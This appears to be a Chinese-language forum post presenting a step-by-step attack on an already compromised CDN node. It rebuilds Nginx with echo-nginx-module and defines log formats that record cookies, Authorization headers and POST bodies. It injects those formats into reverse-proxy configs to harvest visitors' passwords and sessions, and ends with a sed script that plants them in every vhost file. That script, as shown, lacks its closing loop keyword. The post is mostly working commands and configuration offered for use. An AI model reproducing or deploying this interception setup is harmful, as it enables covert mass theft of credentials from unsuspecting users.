此篇文章用于记录一次拿下了某个CDN节点服务器,现在需要利用这台CDN服务器扩大危害。
- 首先目标服务器安装了Nginx并且做了反向代理,我们先运行一下
nginx -V
可以看到他的这个Nginx加载了非常多的各种模块。其中我们需要用到的一款模块叫做:echo-nginx-module
echo-nginx-module 是一个用于 NGINX 的第三方模块,它扩展了 NGINX 的功能,允许您在配置文件中执行高级的文本处理和响应生成操作。这个模块的主要目的是生成 HTTP 响应的内容,包括文本和变量的输出。
configure arguments: --prefix=/usr/local/openresty/nginx --with-cc-opt='-O2 -I/usr/local/openresty/libmaxminddb/include' --add-module=../ngx_devel_kit-0.3.1 --add-module=../echo-nginx-module-0.62 --add-module=../xss-nginx-module-0.06 --add-module=../ngx_coolkit-0.2 --add-module=../set-misc-nginx-module-0.33 --add-module=../form-input-nginx-module-0.12 --add-module=../encrypted-session-nginx-module-0.09 --add-module=../srcache-nginx-module-0.32 --add-module=../ngx_lua-0.10.21 --add-module=../ngx_lua_upstream-0.07 --add-module=../headers-more-nginx-module-0.33 --add-module=../array-var-nginx-module-0.05 --add-module=../memc-nginx-module-0.19 --add-module=../redis2-nginx-module-0.15 --add-module=../redis-nginx-module-0.3.9 --add-module=../rds-json-nginx-module-0.15 --add-module=../rds-csv-nginx-module-0.09 --add-module=../ngx_stream_lua-0.0.11 --with-ld-opt='-Wl,-rpath,/usr/local/openresty/luajit/lib -L/usr/local/openresty/libmaxminddb/lib/' --with-pcre-jit --with-http_stub_status_module --with-http_realip_module --with-http_addition_module --with-http_auth_request_module --with-http_secure_link_module --with-http_random_index_module --with-http_gzip_static_module --with-http_sub_module --with-http_dav_module --with-http_flv_module --with-http_mp4_module --with-http_gunzip_module --with-threads --with-stream --with-stream_ssl_module --with-stream_realip_module --with-http_ssl_module --with-openssl=/tmp/openssl-1.1.1t --with-openssl-opt='-g enable-tls1_3' --with-http_v2_module --without-mail_pop3_module --without-mail_imap_module --without-mail_smtp_module --with-pcre=/tmp/pcre-8.38 --add-dynamic-module=/tmp/ngx_http_geoip2_module-2.0 --with-http_slice_module --with-pcre-opt=-g --with-stream --with-stream_ssl_preread_module
如果对方的Nginx没有这个 echo-nginx-module
模块,我们则需要重新下载Nginx在编译的时候加入该模块。
如果Nginx没有该模块,该如何加入?
一. 开始
- 下载Nginx 并解压
mkdir /tmp/nginx/
cd /tmp/nginx
wget https://nginx.org/download/nginx-1.25.2.tar.gz
tar -zxvf nginx-1.25.2.tar.gz
-
下载 echo-nginx-module 模块并解压
cd /tmp/ wget https://github.com/openresty/echo-nginx-module/archive/refs/tags/v0.63.tar.gz tar -zxvf v0.63.tar.gz
-
配置编译加上输出Nginx的位置:/usr/nginx 以及在编译中添加新的模块位置 –add-module=/tmp/v0.63
cd /tmp/nginx/ ./configure --prefix=/usr/nginx --with-http_stub_status_module --with-http_ssl_module --with-http_realip_module --with-http_sub_module --with-http_gzip_static_module --add-module=/tmp/v0.63
-
开始编译
make -j2 make install
二. 测试
-
在
/usr/nginx/conf/nginx.conf
中的 server 块加入下面内容
location /hello {
default_type 'text/plain';
return 200 'hello!';
}
location /hello_echo {
default_type 'text/plain';
echo "hello, echo!";
}
- 启动Nginx进行测试
./tmp/nginx/sbin/nginx -t -c /usr/nginx/conf/nginx.conf
如果出现
代表oK, 否则就自己看看报错行数。
开始劫持数据
- 设定日志格式 (该代码添加到
/usr/nginx/conf/nginx.conf
中的 http 块中。切勿不能加错。)
GET请求
log_format custom_get '$remote_addr - $server_port [$time_local] '
'"$request" $args '
'$status $body_bytes_sent '
'"$http_referer" "$http_user_agent" '
'"$http_host" "$http_cookie"';
POST请求:
log_format custom_post '$remote_addr - $server_port [$time_local] '
'\n请求: "$request" '
'\n状态: $status '
'\n引用来源: "$http_referer" '
'\n用户代理: "$http_user_agent" '
'\n主机: "$http_host" '
'\nCookie: "$http_cookie" '
'\n授权头: "$http_Authorization"'
'\n'
'\n请求体: "$request_body" '
'\n';
- 找到反向代理文件
然后第三步,找到反向代理配置文件,一般而言搜索:proxy_pass 就行。
下图中被注释的 # include vhost/*.conf;
是他的原本文件,include vhost_back/*.conf;
是我cp的vhost文件,用于防止出问题,能及时还原。
- 开始修改
我们只需要找到反向代理中的配置文件中的 server 模块
然后再找到server块中的 location 块 加上代码, 其中请自行修改:/boot/nginx/logs/access_post.log 路径地址。
access_log /boot/nginx/logs/access_get.log custom_get;
if ($request_method = POST) {
echo_read_request_body;
access_log /boot/nginx/logs/access_post.log custom_post;
}
- nginx 重新加载配置
./usr/nginx/sbin/nginx -s reload
5 . 效果图,均能抓到Cookie,登录账户密码等等。
账密
批量替换代码
#!/bin/bash
# 定义配置文件目录
config_dir="/usr/local/openresty/nginx/conf/vhost_back"
# 遍历目录中的.conf文件
for conf_file in "$config_dir"/*.conf; do
if [ -f "$conf_file" ]; then
echo "处理配置文件: $conf_file"
# 使用sed命令替换location块
sed -i '/location \/ {/ {
a\
access_log \/boot\/nginx\/logs\/access_get.log custom_get;\
if (\$request_method = POST) {\
echo_read_request_body;\
access_log \/boot\/nginx\/logs\/access_post.log custom_post;\
}
}' "$conf_file"
echo "配置文件处理完成"
fi
没有回复内容